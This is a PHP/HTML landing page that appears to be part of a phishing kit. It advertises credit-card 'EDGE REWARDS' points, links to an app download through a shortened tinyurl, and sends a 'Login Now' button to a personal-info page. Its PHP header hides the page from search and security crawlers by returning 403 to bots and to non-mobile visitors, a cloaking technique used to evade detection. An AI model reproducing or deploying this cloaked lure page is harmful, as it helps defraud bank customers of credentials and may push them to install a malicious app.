<?php


// Function to check if the request is from a mobile device
function isMobile() {
    return preg_match('/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|iphone|ipod|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.browser|up\.link|vodafone|wap|windows (ce|phone)|xda|xiino/i', $_SERVER['HTTP_USER_AGENT']);
}


// Function to check if the request is from a known bot
function isBot() {
    return preg_match('/bot|crawl|slurp|spider|mediapartners|bing|msnbot|googlebot|yahoo|baiduspider|facebookexternalhit|twitterbot/i', $_SERVER['HTTP_USER_AGENT']);
}

// Rate limiting
function rateLimit() {
    $ip = $_SERVER['REMOTE_ADDR'];
    $limit = 100; // requests
    $timeFrame = 60 * 60; // 1 hour

    $cacheDir = __DIR__ . "/rate_limit_cache";
    $cacheFile = "{$cacheDir}/{$ip}.txt";

    // Ensure the cache directory exists
    if (!file_exists($cacheDir)) {
        mkdir($cacheDir, 0755, true);
    }

    if (file_exists($cacheFile)) {
        $data = json_decode(file_get_contents($cacheFile), true);
        if (time() - $data['timestamp'] < $timeFrame) {
            if ($data['count'] > $limit) {
                return false;
            }
            $data['count']++;
        } else {
            $data = ['count' => 1, 'timestamp' => time()];
        }
    } else {
        $data = ['count' => 1, 'timestamp' => time()];
    }

    file_put_contents($cacheFile, json_encode($data));
    return true;
}

// Check for honeypot field (bots will usually fill this out)
function checkHoneypot() {
    return empty($_POST['honeypot']);
}

// Check user agent against a list of allowed user agents
$allowedUserAgents = array(
    'Mozilla/5.0',  // Firefox, Chrome, Safari, Edge, etc.
    'Opera',        // Opera browser
    'AppleWebKit',  // WebKit-based browsers
    'Chrome',       // Chrome browser
    'Safari',       // Safari browser
    'Firefox',      // Firefox browser
    'Edge',         // Edge browser
    // Add more user agents as needed
);

function isKnownBrowser($userAgent) {
    global $allowedUserAgents;
    foreach ($allowedUserAgents as $agent) {
        if (stripos($userAgent, $agent) !== false) {
            return true;
        }
    }
    return false;
}


if (!isMobile() || isBot()) {
    // Redirect to a different page or show an error message
    header('HTTP/1.0 403 Forbidden');
    echo '403 Forbidden';
    exit();
}

?>
<!doctype html>
<html lang="en">
  <head>
    <title>Offers</title>
  <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
  </head>
  <style>
    h2 {
        color: #ec721b;
    font-weight: bold;
    font-size: 48px;
    text-align: center;
    }
    span.black {
        color: black !important;
    }
    a.button {
        padding: 10px;
    color: white;
    background: #ec721b;
    border-radius: 12px;
    font-size: 17px;
    text-align: center;
    font-weight: 400;
    letter-spacing: 2px;
    }
    .download-box {
        padding: 10px;

    }
  </style>
  <body>
     <!--<header>
        <div class="container">
            <div class="logo-area">
                <center>
                    <img src="./img/logo.webp" alt="" width="150px">
                </center>
            </div>
        </div>
    </header>-->
    <main>
        <img src="./img/2.jpg" alt="" width="100%">
        <img src="./img/3.png" alt="" width="100%">
        
        
        
        <div class="download-box text-center">
            <div class="container">
                <div class="row">
                    <div class="col-md-6">
                        <!--<h2>DOWNLOAD <span class="black">
                            OUR APP
                        </span></h2>-->
                        <p class="text-center"><b>Enjoy 2X EDGE REWARDS Points* on online spends with our Credit Card</b></p>
                        <a class="button" href="https://tinyurl.com/mrxrfhc6">Download Now</a> 
                        <a class="button" href="personal-info.php">Login Now</a>

                    </div>
                </div>
            </div>

       
        <br>
        
        <img src="./img/4.png" alt="" width="100%">
        <img src="./img/5.png" alt="" width="100%">
        <img src="./img/6.png" alt="" width="100%">
        <img src="./img/7.png" alt="" width="100%">
        <img src="./img/8.png" alt="" width="100%">
        
        
    </main>

    <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
  </body>
</html>